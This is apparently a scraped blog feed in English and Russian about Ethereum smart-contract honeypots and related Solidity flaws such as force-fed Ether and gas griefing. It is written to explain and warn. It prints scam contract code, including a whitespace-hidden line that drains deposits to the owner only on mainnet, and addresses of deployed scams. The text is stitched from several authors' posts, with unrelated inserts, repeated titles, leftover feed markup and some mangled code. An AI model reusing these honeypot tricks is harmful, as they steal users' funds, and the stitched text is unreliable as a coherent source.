It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

honeypot3: TestToken

I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here …

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net.

Ganache: starts from 0

Testrpc: starts from 1150000

Ropsten: a few weeks ago around 2596174

Main net: a few weeks ago around 5040270

Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed.

if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}

EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago.

TL;DR

Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice:

  • Be careful where you send your ETH, it could be a trap.
  • Be nice and don’t steal from people.

I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract?

Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract. 

In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end.

What is honeypot in smart contract?

A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them.

The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them.

However, with the rise of Blockchain technology and the smart contract concept.

Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology?

The Blockchain technology is built upon 6 main layers that are:

  1. The TCP/IP network
  2. Peer-to-Peer protocols
  3. Consensus algorithms
  4. Cryptography algorithms
  5. Execution (Data blocs, Transactions, …)
  6. Applications (Dapps, smart contracts …)
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

Black hat hackers started to use this concept to trap users both with good or bad intentions.


The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap.

Best 10 solidity smart contract audit tools that both developers and auditors use during their audit?

  1. Slither
  2. Securify
  3. SmartCheck
  4. Oyente
  5. Mythril
  6. ContractFuzzer
  7. Remix IDE static analysis plug-in
  8. Manticore
  9. sFuzz
  10. MadMax

Honestly, the honeypots concept in blockchain is just exploiting the greedy of users that cannot see the whole picture of the smart contract and does not dig deeper to understand the smart contract mechanism and code.

What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain.

In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract.

What are the types of smart contract honeypots?

Honeypots in smart contract can be divided into 3 main categories depending on the used techniques:

  • EVM based smart contract honeypots
  • Solidity compiler-based smart contract honeypots
  • Etherscan based smart contract honeypots

The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation.

six things you should do to prevent using components with known vulnerabilities:

  • Use components from official repositories
  • Remove unused components
  • Only accept components with active support
  • Put a vulnerability management system for you components
  • Put in place a components firewall
  • Remove or replace components with a stopped support

Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users.

The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled.

The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen.

The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user.


In my opinion the second category of honeypots is the most difficult to detect as it require a deep knowledge of the solidity compiler.

EVM based smart contract honeypots

The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code

A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal.

However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract.

Another example of the balance disorder type of honeypot could be found here:

https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453

By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code.

I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

And wait for a moment about 30 seconds to get the source code.

By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

The condition in line 24 will never be verified and the money will be stuck in the contract.

Solidity compiler-based smart contract honeypots

As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post.

Inheritance Disorder technique

One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected.

In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it.

To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples:

Example1:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code

If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money.

However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner.

Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same.

Example2

Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function.

Skip Empty String Literal

Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it.

The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed.

This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract.

Here is a simple example of this honeypot:

Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code

The source code is a little bit long so I will put just the most important functions:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract.

This behavior happens only in case of calling the function externally with the this.function().

Type Deduction Overflow

The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow.

This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code:

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

You can check the whole code here:

https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code

In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit.

However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei.

Uninitialized Struct

The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it.

An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value.

This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it.

Here is an example of such a honeypot:

https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

This contract asks the user to guess a number while betting with some of his money. The secret value that a user is going to guess is stored in the first slot of the smart contract. For a quick analysis of this contract, the user would assume that the contract is vulnerable as even private variables could be seen in the Blockchain.

However, once the user will call the play() function and send money to it, the function will create a structure “game” in line 51 without correctly initializing it. This means that this structure variable will point to the first slot (variable secretNumber). In addition, the game.player will be the variable that will overwrite the secretNumber variable. Therefore, the user “would not” will not be able to correctly guess the number.

Actually, in this example, the honeypot could be bypassed to retrieve the money. If you take a look at the value affected to the game.player variable that overwrite the secretNumber. You will see that it is simply the sender’s address. Therefore, the value the user should send, is simply his address converted to decimals.


Most techniques used in this category of smart contract honeypots can easily be detected by users if they first try to compile and test their exploit in a local environment or a test chain. However, most of the time the vulnerabilities in those smart contracts are so easy to spot and exploit. Therefore, with a small portion of greediness and self-confidence, the users do not even think twice and directly execute their exploit on the mainnet.

Etherscan based smart contract honeypots

All the smart contracts that we have seen until now, exploit a solidity language gap of knowledge in the user. However, in this section of this blog post, the deployer exploits some features related to etherscan platform to hide some important information that may trick users.

Hidden State Update

The Etherscan platform helps developers and any Ethereum Blockchain user to debug his smart contract or track his transactions. Therefore, the platform display user’s transaction and internal messages that are performed by smart contracts. However, one of the features of Etherscan is that it does not show internal messages with an empty value.

Therefore, smart contract honeypot deployer exploit this feature to trick users and change the smart contract behavior. Here is an example to better understand this concept:

Check the following smart contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

This contract might be used as a honeypot, as the user could be fooled by the initial value of the variable passHasBeenSet. By checking the Etherscan data he would not be able to see any transaction that has changed the value of passHasBeenSet. Therefore, he would assume that the value didn’t change and attempt to exploit the contract.

To do that, the user would try to exploit the contract by sending more than one ether to the contract using the GetGift() after setting the hashPass using SetPass() function.

However, the passHasBeenSet variable might be already changed by another contract and that would not be seen in the etherscan platform.

Straw Man Contract

This technique is built upon showing a source code for a contract that is not actually the one used by the contract. For example, the deployer could build a contract that requires another library and that that library address is initialized during the deployment of the contract or by calling a specific function.

At this stage, there is nothing that holds the deployer from using another contract address that is totally different than the one that the source code is displayed in Etherscan.

Unfortunately, this really a tricky honeypot and a really difficult technique to discover from a user. I mean the user should verify the addresses of the deployed contract and the different transactions and data passed to the contract to be able to find this issue. Moreover, even if the user tries to test this smart contract in a different contract, he will use the smart contract code displayed by the attacker and he will see a normal behavior. Which makes it even more difficult to find the issue.

Here is an example of such a honeypot, try to take a look at it and see what makes this smart contract a honeypot:

https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

Etherscan is an Ethereum blockchain explorer that, besides other features, allows developers to submit the code of the smart contracts they deploy. The main benefit of this feature is that it allows users to check what contracts do by reading their source code. Etherscan makes sure that the code matches the smart contract as deployed.

The list of verified contracts is long. As of this writing, Etherscan offers the source code for 26055 contracts, which can be browsed here.

On a lazy Sunday afternoon I decided to casually browse it to see what kind of contracts people were running and get a sense of what people use the blockchain for, and how well written and secure these contracts are. Most contracts I found implemented tokens, crowdsales, multi-signature wallets, ponzis, and.. honeypots!

Honeypot contracts are the most interesting findings to me. Such contracts hold ether, and pretend to do so insecurely. In short, they are scam contracts that try to fool you into thinking you can steal the ether they hold, while in fact all you can do is lose ether.

A common pattern they follow is, in order to retrieve the ether they hold, you must send them some ether of your own first. Of course, if you try that, you’re in for a nasty surprise: the smart contract eats up your ether, and you find out that the smart contract does not do what you thought it did.

In this post I will analyze a couple honeypot contracts I came across, and explain what they seem to do, but really do.

The not-really-insecure non-lottery

The first contract I will go through implements a lottery that, apparently, is horribly insecure and easy to steal from with a guaranteed win. I have come across several of these. The last instance I found is deployed at address 0x8685631276cfcf17a973d92f6dc11645e5158c0c, and its source code can be read here. I am copying the code below for convenience. Can you spot the bait? Can you tell why, if you try to exploit it, you will actually lose ether?

pragma solidity ^0.4.23;// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-16). Bet price: 0.2 ethercontract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.001 ether;
address public ownerAddr; struct Game {
address player;
uint256 number;
}
Game[] public gamesPlayed; constructor() public {
ownerAddr = msg.sender;
shuffle();
} function shuffle() internal {
// randomly set secretNumber with a value between 1 and 10
secretNumber = 6;
} function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game); if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
} //shuffle();
lastPlayed = now;
} function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) {
suicide(msg.sender);
}
} function() public payable { }
}

It’s easy to tell that the shuffle() method sets secretNumber to 6. Hence, if you call play(6)and send it 0.001 ether, you will always win your ether plus whatever the balance of the contract is, namely 0.015 ether. Easy money, right? Wrong.

What’s the trick? Look closely at how play() is implemented. It declares a variable Game game, but does not initialize it. It will therefore default to a pointer to slot zero of the contract’s storage space. Then, it stores your address in its first member, storage slot 0, and the submitted number in the second one, that maps to storage slot 1. So, in practice, this will end up overwriting the contract’s secretNumber with the attacker account’s address, and lastPlayed with the number submitted.

Then, it will compare secretNumber, which is now your account’s address, with the number you submitted. Since you can only submit numbers smaller than 10, you can only win if your account’s address is within the range 0x0 to 0x0a. (Don’t bother trying to bruteforce-search for one account in that small range! Simply unfeasible.)

So, the comparison will fail, and the contract will keep your ether. Of course, the attacker can at any time call kill() to retrieve the ether.

The not-really-insecure non-riddle

This is another fun one. It had me scratching my head for a while. However, there is a huge giveaway that the contract is up to something nasty right away. But let’s not get ahead of ourselves.

Here is its code. Can you spot the supposed vulnerability? And, can you tell why an exploit won’t work? And what is the giveaway I was talking about?

contract G_GAME
{
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}

string public question;
address questionSender;
bytes32 responseHash;

function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}

function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}

function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}

function() public payable{}
}

The code supposedly implements a riddle. It sets up a question, and, if you can tell what the answer is, it will presumably send you its balance, currently a little more than 1 ether. Of course, to produce an answer, you must send an ether first, which you will get back if you are correct. The code seems fine, but there is a dirty trick: notice how NewQuestion allows questionSender to submit a hash that does not match _question. So, as long as this function isn’t used, we should be alright.

Can we tell what the question and answer are? If you read the transaction history of the contract on etherscan, it appears that the 2nd transaction sets up the question. It’s even more obvious if you click the “Convert to UT8” button on etherscan. This reveals the question “I am very easy to get into,but it is hard to get out of me. What am I?”, and the answer “TroublE”.

Since this transaction is called, according to etherscan, after the creation of the contract, responseHash is going to be zero, and will become keccak265("TroublE"). Then, there is a third transaction that loads up one ether in the contract. So, apparently, we could call Play("TroublE") and send one ether to get two ether back. Too good to be true? Probably. Let’s make sure.

We can make sure we will the contract’s ether by inspecting the state of the smart contract. Its variables are not public, but still all it takes is just a few extra strokes to retrieve their values by querying the blockchain. questionSender and responseHash are the 2nd and 3rd variables, so they will occupy slots 1 and 2 on the storage space of the smart contract. Let’s retrieve their values.

web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 1, console.log);

The result is `0x0..0765951ab946f3a6f0379680a6b05fb807d52ba09`. That spells trouble (pun intended) for an attacker, since the transaction setting up the question came from an account starting with0x21d2. Something’s up.

web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 2, console.log);

The result is `0xc3fa7df9bf24…`. Is this the hash of “TroublE”?

web3.sha3('TroublE');

That call returns 0x92a930d5..., so it turns out that, if we were to call Play("TroublE") and send 1 ether, we’d actually lose it. But how is it possible that the hashes do not match?

Notice how StartGame does nothing if responseHash is already set. Clearly, that second transaction did not alter the state of the contract, so it must have already been set before this transaction. But how is it possible that responseHash was already initialized, if that was the first transaction after the creation of the contract?

After some serious head scratching, I found a recent interesting post on honeypot contracts that explains that Etherscan does not show transactions between contracts when msg.value is zero. Other blockchain explorers such as Etherchain do show them. Surely enough, etherchain reveals a couple additional transactions in the contract’s history, where a contract at 0x765951.. modifies responseHash via a zero-value transactions.

So let’s check these transactions; perhaps the ether can still be stolen? To track what happened, we need to decode these calls. We can get the contract’s ABI from Etherscan, and the internal transaction data from the “parity traces” of Etherchain (firstsecond). That’s all we need to decode the transactions into human readable format.

const abiDecoder = require('abi-decoder');
const Web3 = require('web3');
const web3 = new Web3();const abi = [{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_response”,”type”:”string”}],”name”:”StartGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_responseHash”,”type”:”bytes32"}],”name”:”NewQuestion”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:true,”inputs”:[],”name”:”question”,”outputs”:[{“name”:””,”type”:”string”}],”payable”:false,”stateMutability”:”view”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_response”,”type”:”string”}],”name”:”Play”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[],”name”:”StopGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“payable”:true,”stateMutability”:”payable”,”type”:”fallback”}];const data1 = '0x1f1c827f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000754726f75626c4500000000000000000000000000000000000000000000000000';const data2 = '0x3e3ee8590000000000000000000000000000000000000000000000000000000000000040c3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f906700000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000';abiDecoder.addABI(abi);
console.log(abiDecoder.decodeMethod(data1));
console.log(abiDecoder.decodeMethod(data2));

Running this code, we get the following result:

{ name: ‘StartGame’,
params: [ { name: ‘_question’,
value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’,
type: ‘string’ },
{ name: ‘_response’,
value: ‘TroublE’,
type: ‘string’ }
]
}
{ name: ‘NewQuestion’,
params: [ { name: ‘_question’,
value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’,
type: ‘string’ },
{ name: ‘_responseHash’,
value: ‘0xc3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f9067’,
type: ‘bytes32’ }
]
}

We learn that the first transaction sets the answer to keccak256("TroublE"), but the second one sets the answer to a hash value for which we don’t know the original data! Again it’s quite easy to miss that the second call does not use _question to compute the hash; instead, it’s set to an arbitrary value that does not match the string provided in the previous call, although the question does match.

So, unless we can find out a value that produces the given hash, possibly via a dictionary attack or a bruteforce search, we’re out of luck. And, given how sophisticated this honeypot is, I would assume trying to bruteforce the hash is not going to work out very well for us.

Unraveling this honeypot took quite some effort. Its creator is ultimately counting on attackers trusting the etherscan data, which does not contain the full picture.

The giveaway

I said this contract contains a dead giveaway that its creator is playing tricks. This is in this line:

require(msg.sender == tx.origin);

What this line achieves is, it prevents contracts from calling Play. This is because tx.origin is always an “external account”, and never a smart contract. Why is this useful for the attacker? A way to safely attack a contract is to call them from an “attack contract” that reverts execution if it didn’t gain ether from attack:

function attack() {
uint intialBalance = this.balance;
attack_contract();
require (this.balance > initialBalance);
}

This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves.


Literature:


Conclusion

Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with.

These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is.

If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code.


GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/UrkOGyuuepE

Source: https://cryptodeeptool.ru/solidity-vulnerable-honeypots


Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

Сообщение Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity появились сначала на «CRYPTO DEEP TOOLS».

]]>
Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак https://cryptodeeptool.ru/solidity-forcibly-send-ether-vulnerability/ Mon, 05 Jun 2023 17:02:39 +0000 https://cryptodeeptool.ru/?p=3514 Earlier we touched on the topic: “Improving the overall security of the ecosystem from attacks on smart contracts”. In this article, we will continue to develop this painful topic of ecosystem security. Occasionally, it is unwanted for users to be able to send Ether to a smart contract. Unfortunately for these circumstances, it’s possible to […]

Сообщение Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак появились сначала на «CRYPTO DEEP TOOLS».

]]>

Earlier we touched on the topic: “Improving the overall security of the ecosystem from attacks on smart contracts”. In this article, we will continue to develop this painful topic of ecosystem security. Occasionally, it is unwanted for users to be able to send Ether to a smart contract. Unfortunately for these circumstances, it’s possible to bypass a contract fallback function and forcibly send Ether.

contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Though it seems like any transaction to the Vulnerable contract should be reverted, there are actually a couple ways to forcibly send Ether.

The first method is to call the selfdestruct method on a contract with the Vulnerable contract address set as the beneficiary. This works because selfdestruct will not trigger the fallback function.

Another method is to precompute a contract’s address and send Ether to the address before the contract is even deployed. Surprisingly enough, this is possible.

Force Feeding

Forcing a smart contract to hold an Ether balance can influence its internal accounting and security assumptions. There are multiple ways a smart contract can receive Ether. The hierarchy is as follows:

  1. Check whether a payable external receive function is defined.
  2. If not, check whether a payable external fallback function is defined.
  3. Revert.

The precedence of each function is explained in this great graphic from the Solidity by Example article:

Which function is called, fallback() or receive()?

           send Ether
               |
         msg.data is empty?
              / \
            yes  no
            /     \
receive() exists?  fallback()
         /   \
        yes   no
        /      \
    receive()   fallback()

Consider the following example:

pragma solidity ^0.8.13;

contract Vulnerable {
    receive() external payable {
        revert();
    }

    function somethingBad() external {
        require(address(this).balance > 0);
        // Do something bad
    }
}

The contract’s logic seemingly disallows direct payments and prevents “something bad” from happening. However, calling revert in both fallback and receive cannot prevent the contract from receiving Ether. The following techniques can be used to force-feed Ether to a smart contract.

Selfdestruct

When the SELFDESTRUCT opcode is called, funds of the calling address are sent to the address on the stack, and execution is immediately halted. Since this opcode works on the EVM-level, Solidity-level functions that might block the receipt of Ether will not be executed.

Pre-calculated Deployments

Additionally, the target address of newly deployed smart contracts is generated in a deterministic fashion. The address generation can be looked up in any EVM implementation, such as the py-evm reference implementation by the Ethereum Foundation:

def generate_contract_address(address: Address, nonce: int) -> Address:
    return force_bytes_to_address(keccak(rlp.encode([address, nonce])))

An attacker can send funds to this address before the deployment has happened. This is also illustrated by this 2017 Underhanded Solidity Contest submission.

Block Rewards and Coinbase

Depending on the attacker’s capabilities, they can also start proof-of-work mining. By setting the target address to their coinbase, block rewards will be added to its balance. As this is yet another EVM-level capability, checks performed by Solidity are ineffective.

Solution

The above effects illustrate that relying on exact comparisons to the contract’s Ether balance is unreliable. The smart contract’s business logic must consider that the actual balance associated with it can be higher than the internal accounting’s value.

In general, we strongly advise against using the contract’s balance as a guard.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Insufficient Gas Griefing

Griefing is a type of attack often performed in video games, where a malicious user plays a game in an unintended way to bother other players, also known as trolling. This type of attack is also used to prevent transactions from being performed as intended.

This attack can be done on contracts which accept data and use it in a sub-call on another contract. This method is often used in multisignature wallets as well as transaction relayers. If the sub-call fails, either the whole transaction is reverted, or execution is continued.

Let’s consider a simple relayer contract as an example. As shown below, the relayer contract allows someone to make and sign a transaction, without having to execute the transaction. Often this is used when a user can’t pay for the gas associated with the transaction.

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

The user who executes the transaction, the ‘forwarder’, can effectively censor transactions by using just enough gas so that the transaction executes, but not enough gas for the sub-call to succeed.

There are two ways this could be prevented. The first solution would be to only allow trusted users to relay transactions. The other solution is to require that the forwarder provides enough gas, as seen below.

// contract called by Relayer
contract Executor {
    function execute(bytes _data, uint _gasLimit) {
        require(gasleft() >= _gasLimit);
        ...
    }
}

Griefing

This attack may be possible on a contract which accepts generic data and uses it to make a call another contract (a ‘sub-call’) via the low level address.call() function, as is often the case with multisignature and transaction relayer contracts.

If the call fails, the contract has two options:

  1. revert the whole transaction
  2. continue execution.

Take the following example of a simplified Relayer contract which continues execution regardless of the outcome of the subcall:

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

